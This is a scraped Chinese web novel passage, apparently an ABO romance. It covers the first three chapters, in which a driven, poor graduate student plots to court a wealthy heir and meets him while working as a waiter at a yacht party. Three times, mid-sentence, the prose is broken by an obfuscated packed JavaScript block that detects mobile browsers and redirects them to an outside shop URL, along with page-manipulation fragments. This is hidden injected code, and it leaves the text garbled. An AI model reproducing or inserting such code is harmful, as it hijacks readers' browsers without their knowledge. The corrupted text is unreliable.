《灰小子之路》 1. 《娱乐天空》 “叮——亲爱的乘客,您已到达“词典科技”站,本站将于左侧开门。” 现在是早上7点30分,随着机械电子女声响起,地铁门打开,乌泱下了一大波装束齐整的年轻人,大多西装革履,穿着正式。 又是一年毕业季,G省各大高校的毕业生开启了求职和实习的旅途,呈阳市作为G省的政治文化中心,不仅有十几所全国重点高校作为人才储备,还有以词典科技集团为代表的科技产业中心,吸纳了各地科技人才来奔赴前程,围绕着科技中心的商圈也是百花齐放,音乐话剧喜剧表演五花八门,这是一个年轻向上的城市。 斐然在地铁站出口处停下脚步,解开口罩呼吸新鲜空气,对着便利店的玻璃整理了一下西装领带和被挤皱的袖口,1米9的身高,身形却薄薄的一片,高挑纤瘦与白皙艳丽的长相相辅相成,美得很超模,回头率非常高。 但那些欣赏的目光中却隐隐带着些遗憾,能在寸土寸金的商圈里上班的,都有一双毒辣的眼睛,从穿搭到气质一看,不过是一个初入职场也没有什么家庭背景的普通社畜,美丽也无用。 斐然也看着自己,一脸很能吃苦的苦逼相,确定衣着整齐后,抬头看了看周围。 此时天气晴朗,阳光灿烂,首先入目的便是高耸入云的一栋雄伟建筑,建筑造型犹如一本摊开的字典,右上角竖下来“词典科技”四个大字。 不远处的广场在放着歌,可对斐然来说,任何不输出有效信息的声音都是杂音,从小就不听歌,在学校广播或者大街小巷被迫听到洗脑神曲时都是他格外烦躁的时刻,特别干扰学习/做事的注意力,本以为在地铁上一路听着旁边哥们漏音耳机里传来的吵闹已经够折磨了,这广场一大早还放歌。 不可理喻,流行乐真是最不伟大的发明之一。 离上班时间还早,大多数人选择了热气腾腾的早餐店来一碗碳水饱腹,而斐然走进便利店,买了一份全麦面包+牛奶,坐在了便利店里靠着玻璃墙的位置,透过玻璃一边吃一边漫无目的地看着人来人往。 店里的隔音聊胜于无,广场的歌声还隐隐传入耳中,斐然面无表情地咽下口中干巴无味的面包,目光聚焦在了玻璃墙外的一个背影。 先映入眼帘的是那双G牌的运动款白鞋,一尘不染,一只鞋尖轻轻地点着地板,似乎在跟着音乐的节拍,穿着宽松黑色西裤的两条长腿放松地站立,往上是黑白块奶牛配色的垂顺衬衫,扎进了裤子里,宽阔挺拔的背上背着一具琴盒。 他很高,肩膀也很宽,腰胯却漂亮地收窄,长腿笔直,浑身大牌,这是一个光凭背影就能引起无限遐想的男孩。 周围已经有不少跃跃欲试上前搭讪的人。 忽然间,那男孩回头,俯身在玻璃墙上照了照。 看清他的脸那一刻,不知为何,玻璃外的歌曲突然也变得逐字逐句地清晰了起来。 (“突如其来的崇拜,让你的心跳慢不下来”) 狭长深邃的眼,高挺的鼻梁下唇瓣饱满,阳光下可以看到细腻皮肤上如婴儿一般的小小绒毛,他英俊得甚至不带一丝瑕疵。 斐然与他几乎是面对面,仅仅隔着一层玻璃,极近的距离,可他却是没看见斐然,不过片刻,他便移开目光,无视周围那几个即将围上来的搭讪者,转身过了马路。 对面便是词典科技集团的大楼,眨眼间他就走进了大楼的高层专属VIP通道,消失在了斐然的视线里。 街上的阳光依旧灿烂。 手中的全麦面包其貌不扬、结实耐啃、性价比高还很省时间,却很难吃。 是斐然吃了十年的早餐。 斐然很喜欢在工作学习之余,用一些细碎的方式折磨自己,比如他睡觉会故意盖一张不太暖的被子,让自己处于睡不舒服但是又不会生病浪费时间的境地,睡不好自然也不会想多睡,再比如手中的黑麦面包,严苛地让自己不会对一切安逸和舒适上瘾。 明明是坚持十年的习惯,此刻却变得有些难以下咽,他第一次觉得面包的粗糙、干涩让人那么难以忍受。 大多数家境普通的孩子在结束自己高中时代之前,都会被所有人明里暗里地许诺一份努力读书之后的终极大奖——成功的人生,繁花似锦的未来。 在这之前,什么也不用想,什么也不要想,什么也不能想,只有读书。 可是高考完之后呢?无数个天坑的专业,落后掺水的课程知识,招人要工作经验三年起步的公司,当初什么也不想,出来后什么也想不到。 许诺的未来在哪里?没有人知道?谁该为这份许诺负责?只有自己,被许诺的自己。 斐然也不例外,甚至可以说是受害者之一。 努力读书从小是个学霸的他,是他父母想要改变命运所押注的大奖,而且是全部压在了他的身上。 父亲是建筑行业的。40岁中年失业了,现在在跑滴滴,母亲本来是代课老师,至今也是个代课老师,她错过了教师编谁都能考的时候,等限学历限专业后才傻了眼,更要命的是,他俩还玩起了股票,血本无归,房子贷款都一度还不起,本来首付就是借的,他们是在房价最高点买的房。 坦白来讲,他们的人生容错率已经不算低的了,却每一次都做了错误的选择,可人都已经到了这个年纪,哪里还有重新奋斗的心气?于是他们的目光转向了自己的孩子——他们手中的最后一支股票。 这样贫穷惨淡的人生究竟何解?唯有鸡娃。 最穷的那几年,两夫妻自己吃咸菜配馒头,也要给斐然配齐三菜一汤,也要请高价名师,在家里说话都轻声细气,走路都不能发出声音——就怕吵到斐然学习。 相对的,也给斐然制订了严苛的规矩,不允许他接触任何电子产品,不允许看任何课外书,不允许做任何娱乐活动,初中那年,朋友借给他的MP4被母亲砸了个稀巴烂,斐然省吃俭用赔了这笔钱,也失去了这个朋友,因为他的父母特意找朋友说,不要影响他的学习,他跟你这个差生不一样。 一旦分数下降,哪怕一两分,他们都会对他进行全方位大搜查,找出影响他学习的原因,将整个房间翻来倒去地搜,能砸的都砸,能撕的就撕,还在老师和同学那里拼命地盘问,甚至互相指责对方哪里做得不够好。 很多时候,父母看似在家里要看斐然脸色,但只要有丁点不顺意,不管是不是他的问题,名为爱的棍棒教育就会挥舞起来。 毕竟我们把一切都给了你,而你呢? 作为几乎科科满分的聪明人,斐然自然是不会让自己的人生继续处于这种畸形低位的状态,在各种父母很无私、孩子要孝顺的宣传口径下,很多人都忽视了家庭也存在资源分配和利益关系,尤其是在资源很少的情况下,想要占据上风是需要长期博弈的。 家庭博弈是斐然玩过最轻松的博弈,居住在一起而且有亲情做保底,不需要大吵大闹,也不需要卖惨控诉,而是通过引导和潜移默化的发生,从初二开始,斐然就完全扭转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154679|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了局势,他成了家里主导一切的人,但相对的,这样需要精心算计的家庭氛围接近于冷酷。 在这种环境下,斐然的性子也是极端功利主义,他现在是TOP5高校本硕连读,目前计算机系研二,跟着导师做项目不管是进账还是荣誉都收获颇丰,名气大到被词典科技的HR亲自邀请进入所有名校生梦寐以求的总公司实习,并打包票毕业转正就是P9起步。 老家的父母现在连走路都昂首挺胸,志得意满,鸡娃鸡出了一只金凤凰。 可斐然来说,算得上是璀璨的未来吗? 当一只勤恳的工蚁,哪里配得上他这么多年的艰苦卓绝? 他的生活始终是没有任何改变,并且显而易见的未来十几年生活仍是继续在繁忙的工作闲暇中,啃一块便利店里的廉价全麦面包——习惯使然。 可在他索然无味按部就班生活的同时,这座年轻的一线城市时常向他展现另一种生活方式。 自由的,热闹的, 娱乐的天空。 研发部门的上班时间倒是没那么固定,昨晚通宵加班的人不少,办公室里的人稀稀拉拉,只有实习生们和管后勤的李姐来了。 斐然昨晚也加班了,甚至他是主力,帮着攻克了技术难题,在公司的咖啡机里给自己泡了一杯黑咖啡,礼貌地跟同事们一一打招呼。 李姐看到他有些惊讶:“斐然你怎么也来这么早,昨天组长还特意吩咐过让你好好休息呢。” 实习生赵前打趣道:“坏了,有工贼。” 斐然吮了一口咖啡,轻笑,“来办公室补觉,省点空调费。” 李姐也笑了笑,“趁人少,赶紧睡吧,人多就吵了。” 斐然像是想起什么,闲聊间带出一句问题,“对了李姐,公司最近是要开什么节庆会吗?最近有看到我们学校隔壁音乐学院的学生来这儿,背着琴盒。” 斐然的学校旁边是一所贵族音乐学院,也是目前国内首屈一指的音乐学院,艺术嘛,还是得靠钱砸,几乎所有没出国的,学艺术的富二代都在里面上学。 李姐先是摇头,“没听说要开节庆会,最近的节日是万圣节,但还有一段日子呢。” 然后她又恍然大悟,“你是看见我们集团的小少爷了吧,他就是学音乐的,成天背着一把琴,也是你们隔壁学校的。” 斐然有些意外,“一般来说,不都是学金融或者管理吗?” 赵前是个嘴巴闲不住的,李姐还没说话,把话接过去了,“那是你不懂富豪家族继承人的培养策略。” 斐然:“展开说说?” 赵前把办公椅拉过来,瞧着二郎腿老神在在地说:“词典创办人崔毓女士膝下足足有3个孩子呢,老大崔词序当官,走仕途的,官还挺大,老二崔词慧,就是咱们的CEO,掌管整个集团,脾气火爆还雷厉风行,你说,有前面这两个铁娘子在,还有我们三少爷崔词意什么事?玩玩音乐在家里当个吉祥物呗,几个孩子各有所长,不就避免了以后争家产争得头破血流嘛。” 斐然若有所思,原来他叫崔词意。 斐然又问李姐:“他毕业了吗?这会儿来公司实习?” 李姐:“他现在读大二,实习啥呀,专业一点都不搭噶,人在音乐领域厉害着呢,来这估计是找他姐有事。” 得到了想要的讯息,斐然不再把时间花在闲聊上,开始当工贼。 我不当工贼那就有人会当,既然如此,那这工贼为何不能是我。 2. 白壁微瑕 “喂斐然,开组会了开组会了,我现在到校门口了,你也是啊?那咱俩一起走。” 在斐然上完班回学校的路上,跟他同一个导师并且宿舍就在隔壁的李田田打着电话就跟他不期而遇,两人正好结伴。 李田田刚刚从兼职的地方赶回来,相比他的家境,斐然家都算好的,而且李田田在专业上也不算拔尖的类型,导师手底能挣大钱的大项目一般是轮不到他的,所以他在外面兼职了好几份工作,摆摊当服务员发传单什么都干。 李田田:“斐然我跟你说,我今天又看到那个打我的纨绔子弟了,切,他也不过是外地来的,拽得二五八万,看到本地的公子哥还不是跟孙子似的点头哈腰。” 斐然:“你现在还去会所上班?上次还没吃够教训?” 李田田:“没办法,钱多嘛。” 斐然虽不赞同,但也没多说什么。 李田田是一个其貌不扬的男BETA,在会所当服务员其实风险不大,但服务业遇到奇葩是常有的事,更别说这种专供有钱人吃喝玩乐鱼龙混杂的地方,上次就是被喝醉的客人打了,可是刚好钱全寄回老家了,斐然还帮他垫付了药费。 斐然是那种上学都能赚钱的学霸,从小奖学金和各种竞赛奖金都拿到手软,现在跟了这个业界大拿导师也是各种做项目,现在已经差不多把家里欠的债都还清了,更别说还有实习工资,手头不算紧。 两个人正说着话,突然一阵歇斯底里的争吵从校门口那边传过来,李田田无奈摇头,“又来了。” 这两座相邻学校的学生就跟有孽缘似的,隔一阵子在校门□□发分手一对,无非就是老生常谈,这边大多数品学兼优的好学生,或者说小镇做题家,那边是特立独行的艺术生,靠钱砸出的光鲜亮丽,可以说互相都对对方有那么一点滤镜,一个学霸光环,一个是艺术气息,荷尔蒙自然而然地发生。 然而大多经不起考验,谈一阵子,就会突然还是觉得门当户对好,从日常的消费习惯,到价值观念的冲突都是非常现实的问题,荷尔蒙消退,人的本性就会显露。 李田田很是愤懑不平,“这些公子哥没什么生活的压力,整日的就拿穷人家的孩子做消遣,就算条件再好表现得再深情也是玩腻了就丢,有时候我看我们学校的学生飞蛾扑火白白浪费大好青春就觉得真不值啊。” 飞蛾扑火?斐然差点笑出声,这世上又有谁是傻子?明知面前是火也要扑,当然是因为火的背面是无法抵抗的金钱与欲望,成功便是跨越阶级,不成功也没有什么浪费青春可言,没本事留住自己想要的生活而已。 斐然虽然这么想,但他也没有反驳李田田,朋友之间观念有分歧是正常的,就像他不赞同李田田不找自己专业的活干反而去做廉价劳动力他也不说什么,而且他这套功利拜金主义在努力至上的名牌大学学生里面并不受欢迎。 李田田又继续说:“斐然,幸好你没被卢月给忽悠瘸了,其实我也挺佩服你的清醒,在这种攻势下都有意志力拒绝。” 卢月是斐然的众多追求者中,外在条件以及家庭条件最好,也是最锲而不舍的那一个,经常送鲜花和大牌奢侈品过来,虽然都被斐然扔进了垃圾桶,但在其他人看来,卢月有钱有颜还深情大方,倒是挺能唬人的,很多人都认为他迟早把斐然这个单纯的学霸校草拿下。 斐然掩下自己眼底的轻蔑,拒绝一个草包可不需要什么意志力。 晚上斐然回到自己的单人寝室,照例把门口的鲜花往垃圾桶一丢,打开电脑本来是打算做导师吩咐的活,却不知不觉地搜索起了崔词意的百度百科。 然后鼠标停在第二性别那一栏。 现今社会有5个性别,生理性别男、女,生理性别中只有女性具备生育能力,然后是激素性别A、B、O,在人口占比中BETA占大多数,BETA只有男女之别,没有激素之分。 而激素性别打破了生理性别的界限,也就是说就算生理性别完全颠倒,女A也可以使男O怀孕,别误会,女性并没有长出一根JJ,但A进行标记之后O方可以自然受孕。 除去病理和生育辅助科技之外,激素性别是近一百年才演化出来的,所以即便有激素性别的男女也遵循传统的生理规律,既所有激素性别的女性都具备自然受孕的能力,而男性中只有omega可以自然受孕。 激素性别是排在生理性别之后的,也称为第二性别,所以除了姻缘嫁娶,人们日常生活中并不经常拿第二性别说事,只有学校分宿舍时会有意将A与O区分开来。 性别都这么多了,人的性取向更是各种排列组合,可选择多并不代表什么,目前社会风气仍是单身享乐主义为主流,结婚生子那是中年人才该考虑的事。 斐然属于年轻人中比较传统封建的异类,一般来说人的年纪越大,圈子越窄,他不想30岁以后用逐渐老化的身体机能和心如止水的情绪去相亲找一些类似自己的人继续过相似的生活。 他前半生的主题,学业和预备事业,对他来说不难也不算苦,但就是还挺烦的,成功并不会给他带来成就感,那只不过是自己摆脱穷困平凡的必要之条件。 于是他的目光早早转向了另一条路,他要组建家庭,生儿育女,重新构建一种人生,但也不想走父母的老路,是以他的妻子绝对不能是跟他过着同一种人生的普通工薪阶层,他的择偶观就是一句话,既要又要还要。 既要出身富裕,也要充满诱惑力,还要听他的话。 这在客观上并不是一件容易的事,所以他把未来的妻子以及妻子背后的家庭当成自己这操蛋人生的奖励品,也是他这头驴在勤勤恳恳拉磨的时候面前吊着的胡萝卜。 这点在他高考完选择学校时就已经考虑到的问题,他没有去TOP2学校就是看中这所高校的地理位置,呈阳市各个行业的富豪卧虎藏龙,旁边还有一座贵族子弟学院。 理想很丰满,现实却骨感,在繁忙的学习之余,他也不遗余力地进行着大量课外活动,但都读到研二了,他身边条件最好的追求者竟然是卢月这种货色,好在,崔词意出现了。 崔词意是崔家的第三个孩子,他们家的性别倒是很均衡,大姐是alpha,二姐是beta,而崔词意是Omega,也是最受宠的老幺,从小就跟养在玻璃柜里似的,大姐和二姐从很小的时候就开始在公共场合崭露头角,跟着父母做慈善,搞事业,而他一直被藏在家里,十八岁才因为参加小提琴比赛逐渐在公共领域出现。 据说,他初高中的知识都是请名师在家教学,并没有在集体学校待过多长时间,而这都因为十年前的一场震惊全国的绑架案。 当时的词典集团内斗不断,风雨飘摇,当时崔词意的妈妈崔毓在行事作风上一贯是斩尽杀绝,势必要把集团里的蛀虫全部揪出来,让他们把贪下的东西吐个干净,当时某个集团老人狗急跳墙,绑架了年幼的崔词意。 绑架案在新闻上具体的描述不多,但结果相当惨烈,崔词意因此瞎了一只眼,绑架案主谋自杀,而那位叱咤风云的女强人也因此患了严重的心理阴影,隐退幕后,本就是往仕途方向培养的大女儿崔词序被推到台前掌管公司,直到二女儿崔词慧有能力接管公司,才辞去公司管理职务走向官场。 斐然静静地看着百度百科上崔词意的照片,是他在台上拉小提琴的样子,比起那天看到的洒脱随性,照片上的他沉静优雅,像——养在橱窗里的洋娃娃。 除此之外,斐然也搜索到了前几天一个国际大牌明星来这开演唱会,崔词意坐在舞台左侧阶梯拉小提琴伴奏的视频。 五光十色的舞台,盛装打扮的巨星台风闪耀,年轻的男孩穿着笔挺的西装,系着领结,只占据了小小的一个角落,哪怕是这样,他的英俊也极为夺目。 这是一首很是抒情的歌曲,轻柔的嗓音像是情人间的爱语,小提琴也极为缠绵,歌手唱着歌款款走到他跟前,坐到他面前的阶梯上,侧身把白皙的手臂轻搭在他的曲谱支架上,看着他唱歌。 歌手漂亮的眼睛如秋水般含情,面对如此攻势,他的琴音未改,眼神依旧专注,只是嘴角勾起一抹浅笑。 镜头缓缓从他修长的指骨移到他的俊脸上,近距离放大极具冲击性的容颜,让斐然想起今天隔着玻璃墙的惊鸿一瞥。 流量时代,这一幕在网上直接爆火出圈,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154680|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也被称之为小提琴王子,只可惜他没有曝光任何社交媒体账号。 斐然暂停在这里,认真地看着屏幕里的双眼,其实不细看并不容易发现他那双眼的不同之处,但如果事先知道他一只眼睛失明,对号入座就会发现他的右眼并无神采,犹如一潭死水,但也不妨碍另一只眼睛的清澈透亮。 白璧微瑕,斐然心里忽然泛起了一阵微小的涟漪。 隔壁的李田田敲门,斐然放下鼠标开门,李田田拿着一袋面包过来还给斐然,他月底经常是连泡面都买不起,所以经常来找斐然打牙祭,虽然斐然这只有难吃的面包,李田田还是会记下来,一旦有钱就立刻还一份。 “你这面包太难吃了,亏你天天吃。” 李田田一边吐槽一边翻了翻斐然的垃圾桶,新鲜的玫瑰娇艳欲滴,“丢了多可惜,我洗洗拿去卖了。” 对此斐然不发表评价,可能会买到二手玫瑰的情侣也是他们命中该有此劫。 李田田捧着花正要出去,突然贼兮兮地往他电脑屏幕上一瞧,“你男朋友啊?”他以为这是斐然的电脑壁纸。 斐然回了一句:“还不是。” 李田田瞪大双眼,本来也只是随口调侃,没想到还真有情况,又仔细看了看屏幕上的人,大惊失色,“这这这,崔词意?什么叫还不是?” 斐然淡淡道:“字面上的意思。” 李田田猛猛摇头,“刚刚还夸你人间清醒,没想到你是真敢想啊!跟他比起来,卢月只是小卡拉米,各种意义上的,说吧,你们到哪一步了?” 斐然拉开储物柜,一袋袋的同款面包整齐码了四层,他慢条斯理地为李田田还的面包找着空位,“还没认识。” “啊?” 李田田也是服了,“想想得了啊,他家可是呈阳市巨头之一,而且他本人也挺那个的,你要是真了解他就不会喜欢他的。” 斐然倒是无所谓自己喜不喜欢,对崔词意没什么感觉,主要是因为他有钱+赏心悦目,且看起来单纯,很好上手。 听李田田的描述跟他的第一印象截然不同,斐然顿了一下,“他哪个?” 李田田:“你还记得我们之前看到卢月对他同学颐指气使的样子吗?那崔词意可比卢月横多了,别被网络上说的小提琴王子给骗了,他私底下的行事作风可一点都不高贵优雅,就一个词儿可以形容,乖僻。” 斐然:“你见过他?” 李田田:“何止见过,远的不说,就今天看见的,上次那个喝醉酒打我的,这次在他面前当众跪着当孙子,那叫一个凄惨。” 斐然蹙眉,“有没有一种可能,万一是那人主动想跪呢。” 李田田瞪大双眼,怀疑自己听错了,这是什么清奇的角度,立即打断他,说:“没有,没有可能,没有人会主动想下跪!还是当着那么多人的情况下,你看你,都还没认识,你就在为他欺负人找借口了!” 斐然还是不解,“他也算在为民(你)除害吧?” 李田田扶额,“还能这么理解吗?好吧虽然是挺解气的,但是换一个角度想,他对同一阶层的人都这样,换成你我岂不是更加……” 李田田苦口婆心半天,斐然仍是没有放弃的意思,“我要认识他才知道他是什么样的人。” “那我退一万步来说,就算他很好,像他这样的人跟你注定是不会有结果的。” “他一般多长时间去一次你上班的店?有认识他的门路吗?”斐然问。 人呐,有时候还是得撞南墙才会回头,李田田叹了口气,“想见识一下是吧,下周他们有个游艇派对招临时服务员,专门为崔少爷庆祝拿了一个什么奖的,工作时间一天一夜,我推你微信给经理,到时候你就好好看看他的嘴脸吧!” 李田田一边摇头一边准备走了,还是不放心地回头,“不过你要保护好自己哦,游艇这种很乱的,我一向安全,你就不一定了。” 斐然:“知道。” 斐然点开手机,加上中介微信,然后洗澡出来,平躺在床上,双手交握在胸前发呆,他从来不玩手机,手机只做通信联络功能。 他究竟,是什么样的人呢? 3. 《say so》 参加游艇工作的前一天要参加岗前培训,还发了那种正装的服务生制服,出门的时候李田田一脸懵逼表示我怎么没听说,后来发现他是负责后厨打杂工作的,而斐然是要去上层负责招待客人的,端茶倒酒之类的活。 工作更轻松不说,而且斐然的酬劳还是他的3倍,李田田真是对这个看脸的世界没招了。 这种临时的服务生一般来说是主办方从旗下各类营业场所抽调有经验的服务员,人手不够才会招临时工,李田田跟经理关系好,推荐斐然来做一天他也爽快同意了,主要还是斐然盘靓条顺,适合拿来撑场面,而且业务也不用太熟练,这种长相犯点小错一般不会被责怪。 岗前培训主要是说话礼仪以及送餐倒酒的注意事项,还发了个小册子。 工作的那天,天气晴朗,豪华气派的大游艇分了三层,装饰了馥郁的鲜花和气球,伫立在平静的海面上,斐然把小册子揣兜里,换好制服便上贼船。 为什么说是贼船,因为他勤勤恳恳地干了一天活都没见到想见的那个人,而且在这里工作的服务员可不止“端茶倒酒”那么简单,那群纨绔玩嗨了还会抱服务员坐大腿调情,幸好斐然早就猜到了,带了口罩和一层厚重的假刘海,看起来特别朴实并且远离人群。 那群公子哥里有的人看见他还会啧的一下,面露嫌弃,嘟囔一句“怎么招这种姿色的上船”。 你都能上,我肯定可以,斐然转头在他的酒杯里偷偷挤了一颗柠檬,那人跟周遭的同伴嘻嘻哈哈一阵子,拿起酒杯一喝,酸得哇哇叫。 然而罪魁祸首已然找不到,于是随便指了一个长得漂亮的小模特,抱过来一边调笑一边问,是不是你是不是你! 正看着好戏,李田田从厨房钻出来,把菜递给斐然让他去桌上添加菜品,还捅了捅他胳膊,用眼神朝他后方示意,“诶,来了。” 斐然回过头,此时正是傍晚,海风阵阵,吹起那个男孩黑色长风衣的下摆,他一踏上这艘游艇,便收到了所有人的注目礼,人群先是寂静,然后又爆发出了以他为圆心的欢迎声。 经理快步向前,殷勤地跟他介绍着游艇的项目,崔词意背着琴盒,风衣里面是黑色西装,风尘仆仆像是刚表演完就来了,他神色慵懒,一言不发,径直往游艇上层走去,他身后紧随着一个眼神锐利的青年。 经理麻利地点了几个漂亮帅气的服务员上去为崔少爷服务,托刘海的福,斐然没被点到,但也厚着脸皮混在其中。 没别的意思,斐然一向眼里有活,老板不让他干的活就喜欢偷偷干,今天一天他负责的那几桌都整整齐齐漂漂亮亮,连鲜花都没有一丝蔫的地方。 想偷偷跟崔少爷干的不止他一个,斐然手疾眼快抢到了一碟果盘,还刻意端着果盘在没抢到的人面前整理了一下领结,昂首上了楼。 这层是一间类似于海景包厢的空间,灯光几个弧形沙发组成一个四分之三圆,围着中间的空地,人不少,挺热闹,但不是站着就是挨着肩膀坐。 崔词意脱了风衣,扯下领带,叼了根烟单独坐到了最中间的沙发上,两条大长腿叉开,双手撑开搭在沙发上,仰头合上眼皮,烟还是旁边的青年伸手给他点的。 不知道呈阳市是什么习俗,但在斐然家里这种坐姿绝对会被训斥、在地铁里也会被怒瞪,有多大屁股就坐多大地方! 幸好崔词意不会去坐地铁,不用挨这顿骂。 包厢里的灯光有些暗,崔词意黑色西装里的衬衫扣子解了几颗,一枚护身符坠在锁骨下方的沟壑中,烟雾从饱满红润的双唇中间缓缓升起,给他平添了几分鬼魅。 他的琴盒单独占了一个沙发,风衣搭在上面。 他很高冷,好些人轮番把往他身上引,给他递话他都不接,像是睡了。 想睡为什么不回家睡,还叼根烟,这孩子确实乖僻。 跟着他身后的青年点完烟就百无聊赖地站在他身后,估计是保镖吧。 斐然把果盘递到他面前,业务不熟练,导致一颗青色大提子咕噜噜地掉到了崔词意坐着的沙发底下,一脚踩下去绝对会爆浆的那种。 崔词意虽然闭着眼,但在斐然蹲下去的那一刻,他本来分开的两条大长腿慢慢并拢了起来,移到侧边,看似不经意的举动,方便了斐然捡东西也让他不至于陷入蹲在男人大腿中间的窘境。 斐然愣了愣,低头捡起提子随手扔进垃圾桶里,就站到了他身后,盯着他仰头露出的喉结看,发现他的西装上有暗色的花朵刺绣。 “表弟啊~,看我给你带了什么好东西。” 一个热情的青年穿着海滩花衬衫,从外头风风火火地走进来,身后跟着一个捧着小盒子的漂亮服务生,崔词意还没说话,席上当即就有人叫了起来。 “哎呦呦,崔小爷难道这是要给亲亲表弟开开荤不成?” 语气猥琐至极,斐然皱眉,看那人满脸枣红,似乎喝酒上头了,如此冒犯的行径,崔词意却置若罔闻,还是一动不动,连眼睛都没睁开。 被称为崔小爷的那人也一愣,笑笑说:“我哪敢啊?我姑分分钟上门追杀我。” 有人接话打圆场:“王奕这是席还没开就喝多了,少说两句吧。” 话题本来可以到此为止了,但酒鬼怎么会看脸色呢,王奕又接着说下去,“你怕什么?说不定崔女士早就认定你崔尧当驸马了哈哈。” 王奕大笑了起来,动作间手臂挥舞到旁边倒酒的服务员,名贵的酒撒在了衣服和桌上,王奕登时脸色一变,手里的酒杯往服务员身上砸过去,还嫌不解气,抄起一瓶香槟要强灌进他嘴里。 “你酒都不会倒啊?嗯?” 那个可怜的服务员就是刚刚被斐然抢果盘的男孩,看来他也找到了属于自己的果盘,不过此刻正一脸恐惧却不敢做多余的反抗动作。 现在最好的解决办法只有叫经理,但在场的服务员都吓傻了,其他人员纯看好戏,场面一时非常难看。 斐然不是相当富有同理心的人,他转而专注看着崔词意的反应,看看他在这场欺压底层的戏码中扮演什么角色,这个更重要。 然后他就看着,崔词意缓缓把仰着的头摆正,眼睛还没睁开,便一脚踢在面前的桌子上,砰!的一声,桌上琳琅满目的香槟水果纷纷倒下。 啊我的果盘,斐然又手疾眼快地接住自己放的果盘,别人的果盘可以乱,他的不行,不管什么工作都要负责到底。 这点小插曲没引起崔词意的注意,他身后的影子青年倒是瞥了斐然一眼。 这一声巨响似乎让王奕的酒醒了醒,手中的酒瓶僵持着,没再强硬地往服务员嘴里灌。 一片寂静中,崔词意掀起眼皮,慢条斯理地说:“轮得到你在我面前狗叫,我没死吧?” ‘轮得到你在我面前狗叫’是斐然听到崔词意说的第一句话,他的声音略低,说话的节奏慢,也许是学音乐的缘故,带着独特的韵律,好像自带混响,听感绝佳,但就是话不好听。 也许是有李田田的铺垫在前,斐然竟感觉不是很意外。 不是脏话也没有问候对方家属,谢天谢地。 嗯?斐然忽然一愣,我在谢天谢地什么?前半生可从没谢过老天。 思绪回到现场,王奕似乎是一下子清醒了不少,强扯着一张红脸皮赔笑说:“崔少,那个我刚才酒有点上头,向你赔个罪。” 崔尧玩味地说:“王奕,赔罪是这么赔的?” 王奕看了看崔词意的脸色,“那我……” 崔词意没开口,他身后一直跟着他的青年倒是接了话,“崔尧,既然是你这位‘驸马’做东,那你教教他,什么叫赔罪吧?” 崔尧连忙否认,“陈衡你怎么也跟着鹦鹉学舌,我可不是什么驸马,他们整天乱说,被我爸知道要跟我姑混合双打——” 说着他眼皮一转,就想到一个主意,把手指搭在桌子边沿的转盘上,“咳,这样吧,转到哪个数字,你就吹几瓶,就当是给表弟庆贺了,怎么样?” 崔尧没有真的要问别人意见的意思,说着他就要动手转,崔词意忽然把目光转向刚才那个服务员,“你来转。” 有意思,这下王奕的脸色更加由红转青。 服务员谁也得罪不了,小心翼翼地上前,神色犹豫地把手搭上。 这个转盘是可以作弊的,轻轻拨一下就能拨到1。 崔词意吸了口烟,语气温柔地对他说:“把眼睛闭上,不许偷看。” 服务员的脸悄悄一红,闭上了眼睛。 旁边的崔尧使坏,先把指向0的转盘猛地一转,然后,服务员轻轻一拨,转到了8。 后面的事斐然不忍再看,继续盯崔词意。 喝8瓶酒人是会死的,于是在第三瓶的时候经理‘恰好’出现,左右各一通赔罪,带着醉成一条死狗的王奕和服务员走了。 崔词意身后的陈衡也跟了出去善后。 崔尧坐到崔词意身边,笑眯眯地说:“扫兴的人走了,这下高兴了吧?来,看看喜不喜欢?” 崔词意懒懒地掀了掀眼皮。 服务员适时把盒子打开,一只纯黑色的睫角小守宫安静地趴在里面,它的双眼很特别,一只眼橙红,一只眼纯黑,在守宫界来说,小小年纪的它看起来既 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17154681|196530||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 冷酷又英俊,异瞳还给它带来了一丝捉摸不定的神秘感。 这件礼物似乎送到了崔词意的心坎上,他原本慵懒的神色突然认真了起来,往前伸出手,小守宫也很上道,顺着爬到了他修长的手指上,当成一根树枝盘着。 无人在意的角落,斐然悄悄后退了一步。 在看到这只壁虎之前,斐然也不知道自己怕壁虎,就是一种鸡皮疙瘩式的惧怕。 “谢谢。”崔词意说。 崔尧挠挠头,“嘿嘿,这是我爸帮你找的,他年纪大了没事干,专扯这些闲篇。” 崔词意点点头,“嗯,我打电话跟他道个谢。” 崔尧连说两个不用也没阻止崔词意掏手机往外走的举动,走之前他还顺走了盒子以及壁虎。 崔尧在后面诶诶诶,打完赶紧回来哦,有为你请的歌星庆祝你拿奖。 